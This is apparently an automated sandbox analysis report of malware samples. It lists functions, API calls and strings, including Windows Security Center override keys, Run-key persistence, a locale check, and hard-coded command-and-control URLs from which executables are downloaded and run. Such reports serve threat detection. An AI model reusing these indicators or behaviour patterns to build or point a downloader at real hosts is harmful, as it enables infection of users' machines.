FirewallOverride, xrefs: 000F1BBA
AntiSpywareOverride, xrefs: 000F1D04
%windir%, xrefs: 000F19F3
UpdatesOverride, xrefs: 000F1C55
FirewallDisableNotify, xrefs: 000F1CE5
FirewallDisableNotify, xrefs: 000F1BD9
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 000F1B28
AntiVirusOverride, xrefs: 000F1C17
%s:Zone.Identifier, xrefs: 000F198D
winploravr.exe, xrefs: 000F1880
SOFTWARE\Microsoft\Security Center, xrefs: 000F1B95
%s\%s, xrefs: 000F1ADC
AntiVirusDisableNotify, xrefs: 000F1D42
%s%s, xrefs: 000F1E2C
xouauxuax, xrefs: 000F1856
http://185.215.113.66/, xrefs: 000F18A1, 000F1E2B
UpdatesOverride, xrefs: 000F1D61
%userprofile%, xrefs: 000F1AC3
AntiSpywareOverride, xrefs: 000F1BF8
SOFTWARE\Microsoft\Security Center\Svc, xrefs: 000F1CA1
%s\%s, xrefs: 000F1A0C

Memory Dump Source

Source File: 0000000E.00000002.1927326890.00000000000F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 000F0000, based on PE: true

Associated: 0000000E.00000002.1927306828.00000000000F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000E.00000002.1927342041.00000000000F3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000E.00000002.1927358732.00000000000F6000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_f0000_winploravr.jbxd

Similarity

API ID: File$ExitNameProcess$CreateDeleteErrorFindLastModuleMutexPathSleepwcscmpwsprintf
String ID: %s%s$%s:Zone.Identifier$%s\%s$%s\%s$%userprofile%$%windir%$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Service$http://185.215.113.66/$http://193.233.132.177/$http://91.202.233.141/$winploravr.exe$xouauxuax
API String ID: 1209637258-903396872
Opcode ID: 7c804d89a22ff09a3cd485efbf2f0b17c89f8a7c361f37f914a71c0071cf6680
Instruction ID: 97c0d90c167154f9c44dcce716dcef57515f2154185c11c4c7d5484db9193f02
Opcode Fuzzy Hash: 7c804d89a22ff09a3cd485efbf2f0b17c89f8a7c361f37f914a71c0071cf6680
Instruction Fuzzy Hash: 7AF141F1A40318BBEB20DB60DC49FF97779AB48714F008589B309AA590DBB59B84EF54

Non-executed Functions

Function 000F1100 Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 178
filememoryencryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptImportKey.ADVAPI32(?,000F31C8,00000214,00000000,00000000,00000000), ref: 000F112A
CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000000,00000000), ref: 000F114B
GetFileSize.KERNEL32(000000FF,00000000), ref: 000F1164
CreateFileMappingA.KERNEL32(000000FF,00000000,00000004,00000000,00000000,00000000), ref: 000F1185
MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000), ref: 000F11A4
CryptCreateHash.ADVAPI32(?,00008004,00000000,00000000,?), ref: 000F11F6
GetProcessHeap.KERNEL32(00000000,00000000), ref: 000F122D
HeapAlloc.KERNEL32(00000000), ref: 000F1234

Part of subcall function 000F1020: memcpy.MSVCR90 ref: 000F107F
Part of subcall function 000F1020: memcpy.MSVCR90 ref: 000F1093
Part of subcall function 000F1020: CryptImportKey.ADVAPI32(?,00000008,0000001C,00000000,00000000,00000000), ref: 000F10B7
Part of subcall function 000F1020: CryptEncrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,?,?), ref: 000F10DD
Part of subcall function 000F1020: CryptDestroyKey.ADVAPI32(00000000), ref: 000F10F0

CryptHashData.ADVAPI32(?,00000000,00000000,00000000), ref: 000F1274
CryptVerifySignatureA.ADVAPI32(?,?,?,00000000,00000000,00000000), ref: 000F1295
memcpy.MSVCR90 ref: 000F12AF
GetProcessHeap.KERNEL32(00000000,00000000), ref: 000F12BD
HeapFree.KERNEL32(00000000), ref: 000F12C4
UnmapViewOfFile.KERNEL32(00000000), ref: 000F12CE
CloseHandle.KERNEL32(00000000), ref: 000F12D8
SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000000), ref: 000F12F2
SetEndOfFile.KERNEL32(000000FF), ref: 000F12FC
CloseHandle.KERNEL32(000000FF), ref: 000F1306
CryptDestroyKey.ADVAPI32(00000000), ref: 000F1310

Strings

NGS!, xrefs: 000F11BA

Memory Dump Source

Source File: 0000000E.00000002.1927326890.00000000000F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 000F0000, based on PE: true

Associated: 0000000E.00000002.1927306828.00000000000F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000E.00000002.1927342041.00000000000F3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000E.00000002.1927358732.00000000000F6000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_f0000_winploravr.jbxd

Similarity

API ID: Crypt$File$Heap$Creatememcpy$CloseDestroyHandleHashImportProcessView$AllocDataEncryptFreeMappingPointerSignatureSizeUnmapVerify
String ID: NGS!
API String ID: 1316431928-4070929822
Opcode ID: 5a5fd0ec1130c74910eed70dd62d30d619bf378b1ed78d859bca6030c1c63df5
Instruction ID: e4aac0360d638e9c61bca7d8b567fafb489b8c743491883116f5b986afa3bd43
Opcode Fuzzy Hash: 5a5fd0ec1130c74910eed70dd62d30d619bf378b1ed78d859bca6030c1c63df5
Instruction Fuzzy Hash: 5B613975A00209EFEB14CBE4DC59FFEBBB5AB48710F108548F701A7680CB75AA40DBA4

Function 000F1020 Relevance: 7.6, APIs: 5, Instructions: 79
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCR90 ref: 000F107F
memcpy.MSVCR90 ref: 000F1093
CryptImportKey.ADVAPI32(?,00000008,0000001C,00000000,00000000,00000000), ref: 000F10B7
CryptEncrypt.ADVAPI32(00000000,00000000,00000001,00000000,?,?,?), ref: 000F10DD
CryptDestroyKey.ADVAPI32(00000000), ref: 000F10F0

Memory Dump Source

Source File: 0000000E.00000002.1927326890.00000000000F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 000F0000, based on PE: true

Associated: 0000000E.00000002.1927306828.00000000000F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000E.00000002.1927342041.00000000000F3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000E.00000002.1927358732.00000000000F6000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_f0000_winploravr.jbxd

Similarity

API ID: Crypt$memcpy$DestroyEncryptImport
String ID:
API String ID: 774555595-0
Opcode ID: f27ddcf31f0ccf8d14d05301f552e1fc05770f37aa3b9fac729ec3f4d52796b1
Instruction ID: 157e600ea33bae86b40f7357b2677961554f0a3cc3a5190920626afbc77ecefb
Opcode Fuzzy Hash: f27ddcf31f0ccf8d14d05301f552e1fc05770f37aa3b9fac729ec3f4d52796b1
Instruction Fuzzy Hash: D13127B1D0024DEFEB04CFE8C845BEEBBB4AF4C700F008159EA05B7281DA759A44DBA5

Function 000F1740 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 28
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCR90 ref: 000F174E
GetLocaleInfoA.KERNEL32(00000400,00000007,?,0000000A), ref: 000F1763
strcmp.MSVCR90 ref: 000F1772

Strings

UKR, xrefs: 000F1769

Memory Dump Source

Source File: 0000000E.00000002.1927326890.00000000000F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 000F0000, based on PE: true

Associated: 0000000E.00000002.1927306828.00000000000F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000E.00000002.1927342041.00000000000F3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000E.00000002.1927358732.00000000000F6000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_f0000_winploravr.jbxd

Similarity

API ID: InfoLocalememsetstrcmp
String ID: UKR
API String ID: 3255129521-64918367
Opcode ID: 893b299706533377114fa1722121b7f30a1234752ebdf7a218a128030e73bd5f
Instruction ID: 033f843784436d9f458092231ae39eb47f6d84209116a864bda993dec2d330df
Opcode Fuzzy Hash: 893b299706533377114fa1722121b7f30a1234752ebdf7a218a128030e73bd5f
Instruction Fuzzy Hash: 4BE0D876E4430CB6EA00B6A09C07FF933685B11B11F000154BF08564C1F5B56308E7D2

Function 000F1320 Relevance: 75.5, APIs: 37, Strings: 6, Instructions: 229
filesleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 000F1329
srand.MSVCR90 ref: 000F1330
ExpandEnvironmentStringsW.KERNEL32(%temp%,?,00000208), ref: 000F1350
strlen.MSVCR90 ref: 000F135A
mbstowcs.MSVCR90 ref: 000F1371
rand.MSVCR90 ref: 000F1379
rand.MSVCR90 ref: 000F138D
wsprintfW.USER32 ref: 000F13B4
InternetOpenW.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 000F13CA
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 000F13F9
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 000F1428
memset.MSVCR90 ref: 000F144F
InternetReadFile.WININET(00000000,?,00000207,?), ref: 000F1471
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000), ref: 000F14A2
CloseHandle.KERNEL32(000000FF), ref: 000F14B1
Sleep.KERNEL32(000003E8), ref: 000F14BC
wsprintfW.USER32 ref: 000F14D5
DeleteFileW.KERNEL32(?), ref: 000F14E5
Sleep.KERNEL32(000003E8), ref: 000F14F0
Sleep.KERNEL32(000003E8), ref: 000F1511
DeleteFileW.KERNEL32(?), ref: 000F153E
CloseHandle.KERNEL32(000000FF), ref: 000F154B
InternetCloseHandle.WININET(00000000), ref: 000F1558
InternetCloseHandle.WININET(00000000), ref: 000F1565
Sleep.KERNEL32(000003E8), ref: 000F1570
rand.MSVCR90 ref: 000F1585
Sleep.KERNEL32 ref: 000F159C
rand.MSVCR90 ref: 000F15A2
rand.MSVCR90 ref: 000F15B6
wsprintfW.USER32 ref: 000F15D7
DeleteUrlCacheEntryW.WININET(?), ref: 000F15E7
URLDownloadToFileW.URLMON(00000000,?,?,00000000,00000000), ref: 000F1601
wsprintfW.USER32 ref: 000F161D
DeleteFileW.KERNEL32(?), ref: 000F162D
Sleep.KERNEL32(000003E8), ref: 000F1638
Sleep.KERNEL32(000003E8), ref: 000F1659
DeleteFileW.KERNEL32(?), ref: 000F1677

Strings

%ls:Zone.Identifier, xrefs: 000F1611
%ls:Zone.Identifier, xrefs: 000F14C9
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36, xrefs: 000F13C5
%temp%, xrefs: 000F134B
%s\%d%d.exe, xrefs: 000F13A8
%s\%d%d.exe, xrefs: 000F15CB

Memory Dump Source

Source File: 0000000E.00000002.1927326890.00000000000F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 000F0000, based on PE: true

Associated: 0000000E.00000002.1927306828.00000000000F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000E.00000002.1927342041.00000000000F3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000E.00000002.1927358732.00000000000F6000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_f0000_winploravr.jbxd

Similarity

API ID: File$Sleep$DeleteInternetrand$CloseHandlewsprintf$Open$CacheCountCreateDownloadEntryEnvironmentExpandReadStringsTickWritembstowcsmemsetsrandstrlen
String ID: %ls:Zone.Identifier$%ls:Zone.Identifier$%s\%d%d.exe$%s\%d%d.exe$%temp%$Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
API String ID: 789862300-1471993759
Opcode ID: 12eadcd23e50ae10f648dd8b974eeade731544c26e81292906ac62b8de2cb475
Instruction ID: 0f1f4806a6b9605451ee63e61d4aaf383e1141860910ff2abb3c88431789e33a
Opcode Fuzzy Hash: 12eadcd23e50ae10f648dd8b974eeade731544c26e81292906ac62b8de2cb475
Instruction Fuzzy Hash: 1181C2B1900318EBEB20DB60DC4AFF97379BB88700F044598B30A964C1DE79AB94DF61

Function 000F1690 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 60
sleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCR90 ref: 000F169E
memset.MSVCR90 ref: 000F16AE
CreateProcessW.KERNEL32(00000000,000F166B,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 000F16E7
Sleep.KERNEL32(000003E8), ref: 000F16F7
ShellExecuteW.SHELL32(00000000,open,000F166B,00000000,00000000,00000000), ref: 000F1712
Sleep.KERNEL32(000003E8), ref: 000F172C

Strings

open, xrefs: 000F170B
D, xrefs: 000F16B6
, xrefs: 000F1721

Memory Dump Source

Source File: 0000000E.00000002.1927326890.00000000000F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 000F0000, based on PE: true

Associated: 0000000E.00000002.1927306828.00000000000F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000E.00000002.1927342041.00000000000F3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000E.00000002.1927358732.00000000000F6000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_f0000_winploravr.jbxd

Similarity

API ID: Sleepmemset$CreateExecuteProcessShell
String ID: $D$open
API String ID: 3787208655-2182757814
Opcode ID: 77f7144955fe5e9f31eb8a494b4ba7dd5fadf17a65b45c204d1c9c877d679f05
Instruction ID: d564bc9db316c30c3365800056af46fa3644857266c858808269b2fb193f5119
Opcode Fuzzy Hash: 77f7144955fe5e9f31eb8a494b4ba7dd5fadf17a65b45c204d1c9c877d679f05
Instruction Fuzzy Hash: C5110D75A8430CFAEB50DB90CC46FEE7778AB54B01F200115FB096E6C1DAB5AA04EB65

Function 000F1790 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36,00000001,00000000,00000000,00000000), ref: 000F17A7
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 000F17C6
HttpQueryInfoA.WININET(00000000,20000005,?,00000004,00000000), ref: 000F17EF
InternetCloseHandle.WININET(00000000), ref: 000F1818
InternetCloseHandle.WININET(00000000), ref: 000F1822
Sleep.KERNEL32(000003E8), ref: 000F182D

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36, xrefs: 000F17A2

Memory Dump Source

Source File: 0000000E.00000002.1927326890.00000000000F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 000F0000, based on PE: true

Associated: 0000000E.00000002.1927306828.00000000000F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000E.00000002.1927342041.00000000000F3000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000E.00000002.1927358732.00000000000F6000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_f0000_winploravr.jbxd

Similarity

API ID: Internet$CloseHandleOpen$HttpInfoQuerySleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
API String ID: 2743515581-173034443
Opcode ID: aecbc283a0eea4feeddc97f2b865fe40bdd3e107a3730773634e852bc6254087
Instruction ID: 77191dd966f3ce6a30a69c1824d65f0e7e8feb7d30b5257fed7b5d34fc112150
Opcode Fuzzy Hash: aecbc283a0eea4feeddc97f2b865fe40bdd3e107a3730773634e852bc6254087
Instruction Fuzzy Hash: 6A212975A40208FBEB10DF94CD49FEEB7B5BB08714F108098EA11AB6C0CBB56A01DB61

Analysis Process: 330125677.exePID: 2068, Parent PID: 5588COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 006F1070 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 41
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 006F108A
wsprintfW.USER32 ref: 006F10A3
PathFileExistsW.KERNELBASE(?), ref: 006F10B3
CreateFileW.KERNELBASE(?,40000000,00000000,00000000,00000001,00000002,00000000), ref: 006F10D9
FindCloseChangeNotification.KERNELBASE(000000FF), ref: 006F10F5

Strings

@1Wu.Wu, xrefs: 006F10D9
%userprofile%, xrefs: 006F1085
%s\78876rtb.jpg, xrefs: 006F1097
^Iu, xrefs: 006F10B3

Memory Dump Source

Source File: 0000000F.00000002.2003442179.00000000006F1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006F0000, based on PE: true

Associated: 0000000F.00000002.2003429763.00000000006F0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000F.00000002.2003454543.00000000006F2000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000F.00000002.2003467319.00000000006F4000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f0000_330125677.jbxd

Similarity

API ID: File$ChangeCloseCreateEnvironmentExistsExpandFindNotificationPathStringswsprintf
String ID: %s\78876rtb.jpg$%userprofile%$@1Wu.Wu$^Iu
API String ID: 2220190937-2331256390
Opcode ID: 95373204f9fa5ba72059cce2e51ef5323c26879b54b389334b5b750989675ec3
Instruction ID: 4e93a139ad326d4f6bf83e4263b46e36b6481fd98477ee5abad2a79c24efadd8
Opcode Fuzzy Hash: 95373204f9fa5ba72059cce2e51ef5323c26879b54b389334b5b750989675ec3
Instruction Fuzzy Hash: BD017CF154030DABDB309B609C4AFF5733AAB40704F0045A4A729A61D1DEB05AC5DFA9

Function 006F1000 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 34
networksleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 006F1013
InternetOpenUrlA.WININET(00000000,http://twizt.net/ALLSTATA,00000000,00000000,00000000,00000000), ref: 006F1033
Sleep.KERNELBASE(000003E8), ref: 006F1041
InternetCloseHandle.WININET(?), ref: 006F104B
Sleep.KERNELBASE(000003E8), ref: 006F1056
InternetCloseHandle.WININET(00000000), ref: 006F1060

Strings

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36, xrefs: 006F100E
http://twizt.net/ALLSTATA, xrefs: 006F102A

Memory Dump Source

Source File: 0000000F.00000002.2003442179.00000000006F1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006F0000, based on PE: true

Associated: 0000000F.00000002.2003429763.00000000006F0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000F.00000002.2003454543.00000000006F2000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000F.00000002.2003467319.00000000006F4000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f0000_330125677.jbxd

Similarity

API ID: Internet$CloseHandleOpenSleep
String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36$http://twizt.net/ALLSTATA
API String ID: 256278798-1206238961
Opcode ID: a38da9d5d7e2389ff1880bb266c34853cc74d8cff617011996f3803eb32f657f
Instruction ID: f31ceba6b2e68ddeba90189190b3a30b0697a2d68274bf475e1fc9019be60b3d
Opcode Fuzzy Hash: a38da9d5d7e2389ff1880bb266c34853cc74d8cff617011996f3803eb32f657f
Instruction Fuzzy Hash: 14F01D76A80309FBE7209BA4DC5AFAD7B36AB44B01F204144BB056A2D0CEB06584DF39

Function 006F1110 Relevance: 1.3, APIs: 1, Instructions: 12
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 006F1118

Part of subcall function 006F1070: ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 006F108A
Part of subcall function 006F1070: wsprintfW.USER32 ref: 006F10A3
Part of subcall function 006F1070: PathFileExistsW.KERNELBASE(?), ref: 006F10B3

Part of subcall function 006F1000: InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36,00000000,00000000,00000000,00000000), ref: 006F1013
Part of subcall function 006F1000: InternetOpenUrlA.WININET(00000000,http://twizt.net/ALLSTATA,00000000,00000000,00000000,00000000), ref: 006F1033
Part of subcall function 006F1000: Sleep.KERNELBASE(000003E8), ref: 006F1041
Part of subcall function 006F1000: InternetCloseHandle.WININET(?), ref: 006F104B
Part of subcall function 006F1000: Sleep.KERNELBASE(000003E8), ref: 006F1056
Part of subcall function 006F1000: InternetCloseHandle.WININET(00000000), ref: 006F1060

Memory Dump Source

Source File: 0000000F.00000002.2003442179.00000000006F1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 006F0000, based on PE: true

Associated: 0000000F.00000002.2003429763.00000000006F0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000F.00000002.2003454543.00000000006F2000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000000F.00000002.2003467319.00000000006F4000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_6f0000_330125677.jbxd

Similarity

API ID: Internet$Sleep$CloseHandleOpen$EnvironmentExistsExpandFilePathStringswsprintf
String ID:
API String ID: 3964721517-0
Opcode ID: b03f7d65d66b2dacf12e56ff20ca5e41222fb2fad0e67ac63699144752fffdaf
Instruction ID: 37c4f2c4d36b78e06b84caa4d754e5d07844fb906114f7abc1a2afce9f208339
Opcode Fuzzy Hash: b03f7d65d66b2dacf12e56ff20ca5e41222fb2fad0e67ac63699144752fffdaf
Instruction Fuzzy Hash: 42C08C3110428EA2928073B26C0A736318A4B033D1F005023B300CC0D6DD42D840E4BA

Analysis Process: 1245832676.exePID: 1464, Parent PID: 2060COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00AE10A0 Relevance: 33.3, APIs: 10, Strings: 9, Instructions: 29
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 00AE10A8

Part of subcall function 00AE1000: ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00AE101A
Part of subcall function 00AE1000: wsprintfW.USER32 ref: 00AE1033
Part of subcall function 00AE1000: PathFileExistsW.KERNELBASE(?), ref: 00AE1043

DeleteUrlCacheEntry.WININET(http://185.215.113.66/1), ref: 00AE10BF
DeleteUrlCacheEntry.WININET(http://185.215.113.66/2), ref: 00AE10CA
DeleteUrlCacheEntry.WININET(http://185.215.113.66/3), ref: 00AE10D5
DeleteUrlCacheEntry.WININET(http://185.215.113.66/4), ref: 00AE10E0
DeleteUrlCacheEntry.WININET(http://185.215.113.66/5), ref: 00AE10EB
DeleteUrlCacheEntry.WININET(http://185.215.113.66/6), ref: 00AE10F6
DeleteUrlCacheEntry.WININET(http://185.215.113.66/_1), ref: 00AE1101
DeleteUrlCacheEntry.WININET(http://185.215.113.66/_2), ref: 00AE110C
DeleteUrlCacheEntry.WININET(http://185.215.113.66/_3), ref: 00AE1117

Strings

http://185.215.113.66/_2, xrefs: 00AE1107
http://185.215.113.66/_1, xrefs: 00AE10FC
http://185.215.113.66/2, xrefs: 00AE10C5
http://185.215.113.66/3, xrefs: 00AE10D0
http://185.215.113.66/5, xrefs: 00AE10E6
http://185.215.113.66/6, xrefs: 00AE10F1
http://185.215.113.66/_3, xrefs: 00AE1112
http://185.215.113.66/1, xrefs: 00AE10BA
http://185.215.113.66/4, xrefs: 00AE10DB

Memory Dump Source

Source File: 00000010.00000002.2002847781.0000000000AE1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000010.00000002.2002834770.0000000000AE0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2002860565.0000000000AE2000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2002873028.0000000000AE4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_ae0000_1245832676.jbxd

Similarity

API ID: CacheDeleteEntry$EnvironmentExistsExpandFilePathSleepStringswsprintf
String ID: http://185.215.113.66/1$http://185.215.113.66/2$http://185.215.113.66/3$http://185.215.113.66/4$http://185.215.113.66/5$http://185.215.113.66/6$http://185.215.113.66/_1$http://185.215.113.66/_2$http://185.215.113.66/_3
API String ID: 1624407425-19798704
Opcode ID: bf8f6af40e7dd4487eb6e5f1f644a594c7822d32ecd37beef4944e117d3e8b47
Instruction ID: efdb2d8039d7198dfb41d91250a95fb2a018ebb8939968d77484edcb419d08a8
Opcode Fuzzy Hash: bf8f6af40e7dd4487eb6e5f1f644a594c7822d32ecd37beef4944e117d3e8b47
Instruction Fuzzy Hash: CAF0A0712803DEF78301E7E66C5FB49356C7A84B417410810F1468D4D1C9E44846DF36

Function 00AE1000 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 41
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00AE101A
wsprintfW.USER32 ref: 00AE1033
PathFileExistsW.KERNELBASE(?), ref: 00AE1043
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000002,00000000), ref: 00AE1069
CloseHandle.KERNEL32(000000FF), ref: 00AE1085

Strings

@1Wu.Wu, xrefs: 00AE1069
%s\ssss3444443.jpg, xrefs: 00AE1027
^Iu, xrefs: 00AE1043
%userprofile%, xrefs: 00AE1015

Memory Dump Source

Source File: 00000010.00000002.2002847781.0000000000AE1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00AE0000, based on PE: true

Associated: 00000010.00000002.2002834770.0000000000AE0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2002860565.0000000000AE2000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2002873028.0000000000AE4000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_ae0000_1245832676.jbxd

Similarity

API ID: File$CloseCreateEnvironmentExistsExpandHandlePathStringswsprintf
String ID: %s\ssss3444443.jpg$%userprofile%$@1Wu.Wu$^Iu
API String ID: 750032643-433313667
Opcode ID: e55e9e071c83e0c1da5c83b90fc0900ea3659bfaff2d0e7bd3c472156ea60d7c
Instruction ID: db3f35223980828397a6bc6c2819d53d9d6954979ba927021de6f9aa10f2ce18
Opcode Fuzzy Hash: e55e9e071c83e0c1da5c83b90fc0900ea3659bfaff2d0e7bd3c472156ea60d7c
Instruction Fuzzy Hash: 64014FB094035CABDB30DBA09C8AFE5733CAB44704F0046A4A719AA0D1DAB05AC5DBA5

Analysis Process: 300129380.exePID: 4820, Parent PID: 5588COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 003F10A0 Relevance: 63.1, APIs: 8, Strings: 28, Instructions: 94
registrysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 003F10AB

Part of subcall function 003F1000: ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 003F101A
Part of subcall function 003F1000: wsprintfW.USER32 ref: 003F1033
Part of subcall function 003F1000: PathFileExistsW.KERNELBASE(?), ref: 003F1043

RegOpenKeyExW.KERNELBASE(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,00000002,00000000), ref: 003F1190
RegDeleteValueW.KERNELBASE(00000000,Windows Update 39405), ref: 003F11BE
RegCloseKey.KERNELBASE(00000000), ref: 003F11CA
Sleep.KERNELBASE(000007D0), ref: 003F11D5
